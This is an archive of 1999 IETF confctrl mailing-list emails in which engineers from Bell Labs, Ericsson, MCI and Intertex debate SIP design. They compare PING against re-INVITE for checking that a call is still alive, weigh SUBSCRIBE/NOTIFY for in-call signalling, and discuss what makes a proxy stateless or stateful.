	for <confctrl@zephyr.isi.edu>; Wed, 3 Feb 1999 21:04:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA08453
	for <confctrl@isi.edu>; Wed, 3 Feb 1999 21:04:02 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Feb  4 00:02:24 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.249.247])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id AAA24600;
	Thu, 4 Feb 1999 00:02:21 -0500 (EST)
Message-ID: <36B929B1.54728F46@dnrc.bell-labs.com>
Date: Thu, 04 Feb 1999 00:01:37 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Dean Willis <Dean.Willis@MCI.COM>
CC: Christian Huitema <huitema@research.bellcore.com>,
        Tom-PT Taylor <taylor@nortelnetworks.com>, confctrl@ISI.EDU
Subject: Re: Within-Call Signalling and SIP
References: <001701be4fd9$721db680$67e323a6@dwillispc3.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dean Willis wrote:
> 
> Why do we keep reinventing new specialized methods like PING and INCALL
> and PRESENCE and so on . . . all these functions can be handled by
> simple, reuasable message primitives. It's just a matter of defining the
> message classes, defining message bodies, and describing the
> subscription policy (explicit and implicit) mechanism. . . and it makes
> the core parsers a heck of a lot simpler!
> 
> The proposed subscribe and notify methods, given classful message
> contents, could be used to carry in-call signalling of all sorts --
> DTMF, ISUP Facility, etc. They could also be used to support presence,
> messaging, state change detection, etc. Very powerful idea.

True, your approach of generally using SUBSCRIBE and NOTIFY does allow
for reuse of methods. However, it moves the "reinvention of specialized
methods" to "reinvention of new, specialized body types" or possibly
headers. Its a question of where one would prefer the "newness". I'm
inclined to agree that in bodies is better than in new methods, but
remember that one way or another some new information needs be sent.

> 
> Let's look at a couple of potential cases:
> 
> 1) In-call ISUP signalling between UAS/UAC gateways: Each gateway
> SUBSCRIBES to class "incall" from other gateway. In-call messages are
> sent as NOTIFIES with body of application/isup or what-have-you.

We need to be more specific here; what in call events are we talking
about? Many of the ISUP messages seem mappable into existing ones.
SUS/RES seem doable with re-INVITES, INR/INF with OPTIONS, for example.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Feb  3 22:56:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA18732
	for confctrl-outgoing; Wed, 3 Feb 1999 22:56:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id WAA18727
	for <confctrl@zephyr.isi.edu>; Wed, 3 Feb 1999 22:56:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id WAA14873
	for <confctrl@isi.edu>; Wed, 3 Feb 1999 22:56:02 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Feb  4 01:54:55 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.249.247])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id BAA26152;
	Thu, 4 Feb 1999 01:54:52 -0500 (EST)
Message-ID: <36B94410.5E3CA590@dnrc.bell-labs.com>
Date: Thu, 04 Feb 1999 01:54:08 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: Lars Berggren <lars.berggren@intertex.se>, eussean@exu.ericsson.se,
        confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199902011606.KAA15081@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam B. Roach wrote:
> 

> I maintain that a PING approach takes fewer messages, and less overall
> handling, than re-INVITEs. I'll demonstrate.
> 
>    link A    link B
> C1---------P--------C2
> 
> Sequence of messages per refresh period for re-INVITE:
> 
> 1) INVITE on link A
> 2) INVITE on link B
> 3) 200 on link B
> 4) 200 on link A
> 5) ACK on link A
> 6) ACK on link B
> 
> (Under certain circumstances, steps 5 and 6 can be collapsed
> into one step; this still leaves us with five messages.)
> 
> Sequence of messages per refresh period for PING:
> 
> 1) PING on link A
> 2) 200 on link A
> 3) PING on link B
> 4) 200 on link B

This presumes a single proxy. With multiple proxies, the PING method is
more unless you use caching, and I still maintain that the caching is
going to be a real pain. Invalidation issues, synchronization issues,
etc. The re-INVITE approach is the least change, most in line with the
SIP model of peer to peer signaling, and most likely to work with
proxies that don't understand (new methods are always risky). Same is
true for user agents.

> 
> Some have proposed that the ACKs in the re-INVITE solution are
> not strictly necessary.

Not doing ACK's for re-INVITEs is a *bad* idea. If the UAS crashes and
reboots and then receives a re-INVITE, it thinks its an original INVITE,
not a re-INVITE, and then things get really confusing. Whats nice about
re-INVITE is its nothing different - an idempotent invitation to a
session. 

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Feb  4 01:17:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA23871
	for confctrl-outgoing; Thu, 4 Feb 1999 01:17:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA23866
	for <confctrl@zephyr.isi.edu>; Thu, 4 Feb 1999 01:17:38 -0800 (PST)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id BAA21857
	for <confctrl@ISI.EDU>; Thu, 4 Feb 1999 01:17:36 -0800 (PST)
Received: (qmail 17687 invoked from network); 4 Feb 1999 10:17:30 +0100
Received: from sdu6-76.ppp.algonet.se (HELO pyramid) (195.163.76.6)
  by hromeo.algonet.se with SMTP; 4 Feb 1999 10:17:30 +0100
Received: from 192.168.0.42 by pyramid ([192.168.0.100] running VPOP3) with SMTP; Thu, 4 Feb 1999 10:11:29 +0100
Message-ID: <36B9676F.2166CAA3@intertex.se>
Date: Thu, 04 Feb 1999 10:25:03 +0100
From: Lars Berggren <lars.berggren@intertex.se>
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.35 i586)
MIME-Version: 1.0
To: Sean Olson <eussean@exu.ericsson.se>
CC: Adam.Roach@Ericsson.com, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199902031507.JAA08106@b04a42.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Server: VPOP3 V1.3.0a - Registered to: Intertex Data AB
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sean Olson wrote:
> 
> 
> If a proxy is stateless, it NEVER has to initiate a PING transaction. It
> handles the PING transaction just like any other transaction without adding
> any additional state/timers/etc. That is the nice thing about introducing a
> PING method, only those nodes that need to use it have to deal with the added
> complexity, to all other nodes its just another method to be passed along.
> (of course the UAS must handle the PING in all cases)

This was an example of a 'stateless proxy' that _needs_ to use the PING
method. Do you think it should rely on that someone else is PINGing?
This is the case of the re-INVITEs, where the proxy uses the re-INVITEs
to determine liveness. But with PING it is not guaranteed that someone
is PINGing, is it? Whereas the re-INVITES are sent during the lifetime
of the session.

> 
> > Hence, I think the PING method adds more load in a proxy that tries to
> > be stateless per SIP transaction.
> >
> The issue of course is how long does the proxy keep that state/call record
> around. To figure that out, the proxy examines every message associated
> with that call and update the call record according to the current state of the
> call (necessary for error handling at least).
> 
> Plus the proxy has to maintain the same T1-T4 timers that
> every other node does. I don't see then, how a proxy that maintains a call
> record, can be "stateless per SIP transaction"?
>

It is a difference between having state for a call leg ( a SIP initiated
session ) and having state for a SIP transaction (requests-responses
identified by the CSeq within a call leg). A proxy that have state for
the transaction and thus implements the client and server state machines
is what I call a stateful proxy. A stateless proxy is the opposite, it
does not have state for the transaction. Whether a proxy has state for a
call leg or not is not relevant when I classify the proxies as being
stateless or stateful.

Let me clarify what I mean by a stateless proxy that keep call records
for the duration of the session. Call this proxy P.

P records on-going sessions initiated by SIP. Each initiated session is
determined from the To, From and Call-ID header fields ( the call leg )
of an INVITE-200-ACK sequence of SIP messages. P records details of the
session and thus wants to know when it changes or ends.  The recording
of on-going sessions does not force P to be stateful for all SIP
transactions. Rather it is the transaction itself that may require it.
If the transaction requires that P is stateful, e.g. P accepted a TCP
connection, P becomes stateful and implement the server and client state
machines for this transaction. Otherwise, it acts like a stateless
proxy, forwarding messages without state machines. In both cases, it
updates the session record if there are changes in the session.

Am I wrong in my thinking here, have I misunderstood something in the
SIP spec? Please let me know.

/Lars

From confctrl-owner  Thu Feb  4 06:36:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA04776
	for confctrl-outgoing; Thu, 4 Feb 1999 06:36:29 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA04771
	for <confctrl@zephyr.isi.edu>; Thu, 4 Feb 1999 06:36:27 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA05079
	for <confctrl@ISI.EDU>; Thu, 4 Feb 1999 06:36:26 -0800 (PST)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id NAA22357; Thu, 4 Feb 1999 13:34:14 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2232.9)
	id <DX3HMCS9>; Thu, 4 Feb 1999 14:34:46 -0000
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D852501F@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "Willis, Dean." <Dean.Willis@mci.com>,
        Christian Huitema
	 <huitema@research.bellcore.com>,
        Tom-PT Taylor
	 <taylor@nortelnetworks.com>, confctrl@ISI.EDU
Subject: RE: Within-Call Signaling and SIP
Date: Thu, 4 Feb 1999 14:34:41 -0000 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE504B.80E1F998"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE504B.80E1F998
Content-Type: text/plain

It doesn't seem right to add the messaging overhead of a SUBSCRIBE for
signaling information that is by its nature end-to-end signaling.  This is
information that should be sent along the signaling path regardless of
explicit expressions of interest in the information.  These within-call
signaling messages should be treated just like all of the other call related
messages.  Just as an egress gateway should not need to subscribe to the BYE
method, it should also not need to subscribe to the INFO/SIGNAL method.

DTMF signaling information could be handled in the same manner.  (Note that
I don't mean DTMF audio information, which clearly needs to be carried as
part of the RTP stream).

Steve

> -----Original Message-----
> From:	Willis, Dean. 
> Sent:	Wednesday, February 03, 1999 6:58 PM
> To:	Christian Huitema; Tom-PT Taylor; confctrl@ISI.EDU
> Subject:	RE: Within-Call Signalling and SIP
> 
> 
> Why do we keep reinventing new specialized methods like PING and INCALL
> and PRESENCE and so on . . . all these functions can be handled by
> simple, reuasable message primitives. It's just a matter of defining the
> message classes, defining message bodies, and describing the
> subscription policy (explicit and implicit) mechanism. . . and it makes
> the core parsers a heck of a lot simpler!
> 
> The proposed subscribe and notify methods, given classful message
> contents, could be used to carry in-call signalling of all sorts --
> DTMF, ISUP Facility, etc. They could also be used to support presence,
> messaging, state change detection, etc. Very powerful idea.
> 
> Let's look at a couple of potential cases:
> 
> 1) In-call ISUP signalling between UAS/UAC gateways: Each gateway
> SUBSCRIBES to class "incall" from other gateway. In-call messages are
> sent as NOTIFIES with body of application/isup or what-have-you.
> 
> 2) Instant messaging: INVITE is used to establish conference with id
> <CALL-ID>. Each user agent SUBSCRIBES to class "message/<CALL-ID>" on
> other participating user agents. Each message is transmitted as NOTIFY
> class "mesage/<CALL-ID>" with text body.
> 
> 3) End-node call state (PING): Proxy sends SUBSCRIBE class
> "state/<CALL-ID>" (equivalent to PING request), agent replies (PING
> response) NOTIFY class "state/<CALL-ID>" with state of call <CALL-ID> in
> body.
> 
> 4) End-node reachability state (time mark): Proxy sends SUBSCRIBE class
> "mark/<PERIOD>" to receive a NOTIFY class "mark" each <PERIOD> seconds.
> 
> 5) In-call DTMF signalling, useful for signalling-only (non-media) value
> added service processors, such as supplementary account code loggers:
> Service node SUBSCRIBES to class "dtmf/<CALL-ID>" or implicit subscribe
> is assumed. User agent (gateway, etc). sends NOTIFY class
> "DTMF/<CALL-ID>.
> 
> and so on . . .
> 
> The alternative is to change the spec and add a method every time we
> need a new message class, argue about reliability for the method, etc.
> 
> --
> Dean Willis
> 
> > -----Original Message-----
> > From: owner-confctrl@ISI.EDU
> > [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> > Christian Huitema
> > Sent: Wednesday, February 03, 1999 4:58 PM
> > To: Tom-PT Taylor; confctrl@ISI.EDU
> > Subject: Re: Within-Call Signalling and SIP
> >
> >
> > Tom,
> >
> > I concur.  We could in fact use a generic "in call" command
> > (and response)
> > for facilities, and also for information requests.  This is even more
> > needed for inetrworking with ISUP than for Q.931, if only to carry
> > signalling.  Eric Zimmerer of Level3 proposed adding such a message
> > in his draft.
> >
> > --
> > Christian Huitema
> >

------_=_NextPart_001_01BE504B.80E1F998
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: Within-Call Signaling and SIP</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">It doesn't seem =
right to add the messaging overhead of a SUBSCRIBE for signaling =
information that is by its nature end-to-end signaling.&nbsp; This is =
information that should be sent along the signaling path regardless of =
explicit expressions of interest in the information.&nbsp; These =
within-call signaling messages should be treated just like all of the =
other call related messages.&nbsp; Just as an egress gateway should not =
need to subscribe to the BYE method, it should also not need to =
subscribe to the INFO/SIGNAL method.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">DTMF signaling =
information could be handled in the same manner.&nbsp; (Note that I =
don't mean DTMF audio information, which clearly needs to be carried as =
part of the RTP stream).</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Steve</FONT>
</P>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Willis, Dean. </FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Wednesday, February 03, 1999 6:58 PM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Christian Huitema; Tom-PT Taylor; =
confctrl@ISI.EDU</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">RE: Within-Call Signalling and =
SIP</FONT>
</P>
<BR>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Why do we keep =
reinventing new specialized methods like PING and INCALL</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">and PRESENCE =
and so on . . . all these functions can be handled by</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">simple, =
reuasable message primitives. It's just a matter of defining the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">message =
classes, defining message bodies, and describing the</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">subscription =
policy (explicit and implicit) mechanism. . . and it makes</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">the core =
parsers a heck of a lot simpler!</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">The proposed =
subscribe and notify methods, given classful message</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">contents, =
could be used to carry in-call signalling of all sorts --</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">DTMF, ISUP =
Facility, etc. They could also be used to support presence,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">messaging, =
state change detection, etc. Very powerful idea.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Let's look at =
a couple of potential cases:</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">1) In-call =
ISUP signalling between UAS/UAC gateways: Each gateway</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">SUBSCRIBES to =
class &quot;incall&quot; from other gateway. In-call messages =
are</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">sent as =
NOTIFIES with body of application/isup or what-have-you.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">2) Instant =
messaging: INVITE is used to establish conference with id</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&lt;CALL-ID&gt;. Each user agent SUBSCRIBES to class =
&quot;message/&lt;CALL-ID&gt;&quot; on</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">other =
participating user agents. Each message is transmitted as NOTIFY</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">class =
&quot;mesage/&lt;CALL-ID&gt;&quot; with text body.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">3) End-node =
call state (PING): Proxy sends SUBSCRIBE class</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&quot;state/&lt;CALL-ID&gt;&quot; (equivalent to PING request), =
agent replies (PING</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">response) =
NOTIFY class &quot;state/&lt;CALL-ID&gt;&quot; with state of call =
&lt;CALL-ID&gt; in</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">body.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">4) End-node =
reachability state (time mark): Proxy sends SUBSCRIBE class</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&quot;mark/&lt;PERIOD&gt;&quot; to receive a NOTIFY class =
&quot;mark&quot; each &lt;PERIOD&gt; seconds.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">5) In-call =
DTMF signalling, useful for signalling-only (non-media) value</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">added service =
processors, such as supplementary account code loggers:</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Service node =
SUBSCRIBES to class &quot;dtmf/&lt;CALL-ID&gt;&quot; or implicit =
subscribe</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">is assumed. =
User agent (gateway, etc). sends NOTIFY class</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier =
New">&quot;DTMF/&lt;CALL-ID&gt;.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">and so on . . =
.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">The =
alternative is to change the spec and add a method every time we</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">need a new =
message class, argue about reliability for the method, etc.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">--</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Dean =
Willis</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
-----Original Message-----</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; From: =
owner-confctrl@ISI.EDU</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
[</FONT><U><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Courier New"><A =
HREF=3D"mailto:owner-confctrl@ISI.EDU">mailto:owner-confctrl@ISI.EDU</A>=
]On</FONT></U><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New"> =
Behalf Of</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
Christian Huitema</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Sent: =
Wednesday, February 03, 1999 4:58 PM</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; To: =
Tom-PT Taylor; confctrl@ISI.EDU</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Subject: =
Re: Within-Call Signalling and SIP</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
Tom,</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; I =
concur.&nbsp; We could in fact use a generic &quot;in call&quot; =
command</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; (and =
response)</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; for =
facilities, and also for information requests.&nbsp; This is even =
more</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; needed =
for inetrworking with ISUP than for Q.931, if only to carry</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
signalling.&nbsp; Eric Zimmerer of Level3 proposed adding such a =
message</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; in his =
draft.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
--</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
Christian Huitema</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE504B.80E1F998--

From confctrl-owner  Thu Feb  4 07:34:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA06701
	for confctrl-outgoing; Thu, 4 Feb 1999 07:34:25 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA06690
	for <confctrl@zephyr.isi.edu>; Thu, 4 Feb 1999 07:34:23 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA07735
	for <confctrl@ISI.EDU>; Thu, 4 Feb 1999 07:34:22 -0800 (PST)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id JAA24479;
	Thu, 4 Feb 1999 09:35:33 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id JAA17365;
	Thu, 4 Feb 1999 09:33:45 -0600 (CST)
Received: from b04a42.exu.ericsson.se (b04a42 [138.85.60.142]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id JAA04998; Thu, 4 Feb 1999 09:33:42 -0600 (CST)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (eussean@localhost) by b04a42.exu.ericsson.se (8.8.2/8.6.12) id JAA10028; Thu, 4 Feb 1999 09:33:11 -0600 (CST)
Date: Thu, 4 Feb 1999 09:33:11 -0600 (CST)
Message-Id: <199902041533.JAA10028@b04a42.exu.ericsson.se>
To: lars.berggren@intertex.se
Subject: Re: Proxy Server Inconsistencies
Cc: Adam.Roach@Ericsson.com, confctrl@ISI.EDU
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> Sean Olson wrote:
> > 
> > 
> > If a proxy is stateless, it NEVER has to initiate a PING transaction. It
> > handles the PING transaction just like any other transaction without adding
> > any additional state/timers/etc. That is the nice thing about introducing a
> > PING method, only those nodes that need to use it have to deal with the added
> > complexity, to all other nodes its just another method to be passed along.
> > (of course the UAS must handle the PING in all cases)
> 
> This was an example of a 'stateless proxy' that _needs_ to use the PING
> method. Do you think it should rely on that someone else is PINGing?
> This is the case of the re-INVITEs, where the proxy uses the re-INVITEs
> to determine liveness. But with PING it is not guaranteed that someone
> is PINGing, is it? Whereas the re-INVITES are sent during the lifetime
> of the session.
> 

The "guarantee" that re-INVITES get to the 'stateless proxy' above depends
on the proxy using a Record-route: header. The purpose of a PING is to
determine the liveness of a call irregardless of the current path for call
control. There is no guarantee that someone is PINGing the proxy in this case,
but since he is the one wanting liveness information, he should be sending
PINGs. There are pros and cons to both approaches. I don't really care which
approach is taken as long we can standardize on one and get it implemented on a
broad scale. :) 


> > 
> > > Hence, I think the PING method adds more load in a proxy that tries to
> > > be stateless per SIP transaction.
> > >
> > The issue of course is how long does the proxy keep that state/call record
> > around. To figure that out, the proxy examines every message associated
> > with that call and update the call record according to the current state of the
> > call (necessary for error handling at least).
> > 
> > Plus the proxy has to maintain the same T1-T4 timers that
> > every other node does. I don't see then, how a proxy that maintains a call
> > record, can be "stateless per SIP transaction"?
> >
> 
> It is a difference between having state for a call leg ( a SIP initiated
> session ) and having state for a SIP transaction (requests-responses
> identified by the CSeq within a call leg). A proxy that have state for
> the transaction and thus implements the client and server state machines
> is what I call a stateful proxy. A stateless proxy is the opposite, it
> does not have state for the transaction. Whether a proxy has state for a
> call leg or not is not relevant when I classify the proxies as being
> stateless or stateful.
> 
> Let me clarify what I mean by a stateless proxy that keep call records
> for the duration of the session. Call this proxy P.
> 
> P records on-going sessions initiated by SIP. Each initiated session is
> determined from the To, From and Call-ID header fields ( the call leg )
> of an INVITE-200-ACK sequence of SIP messages. P records details of the
> session and thus wants to know when it changes or ends.  The recording
> of on-going sessions does not force P to be stateful for all SIP
> transactions. Rather it is the transaction itself that may require it.
> If the transaction requires that P is stateful, e.g. P accepted a TCP
> connection, P becomes stateful and implement the server and client state
> machines for this transaction. Otherwise, it acts like a stateless
> proxy, forwarding messages without state machines. In both cases, it
> updates the session record if there are changes in the session.
> 
> Am I wrong in my thinking here, have I misunderstood something in the
> SIP spec? Please let me know.
> 
> /Lars
> 
I understand the distinction you are making. I regard a proxy as stateful
if either 1) It is handling TCP connections or 2) It is maintaining call record
(per call leg) information.  (Of course many proxies will do both)

In the first case, no re-INVITES are necessary. When the client closes the
connection, the proxy knows based on the current state of the call how to
proceed. The SIP standard is well defined in this case.

In the second case, a re-INVITE or PING is necessary. Either the proxy has
to be involved in all points of the call or it must be able to determine
externally if the call is still up.

I just hope one or the other approaches can make it into the SIP standard.

/Sean


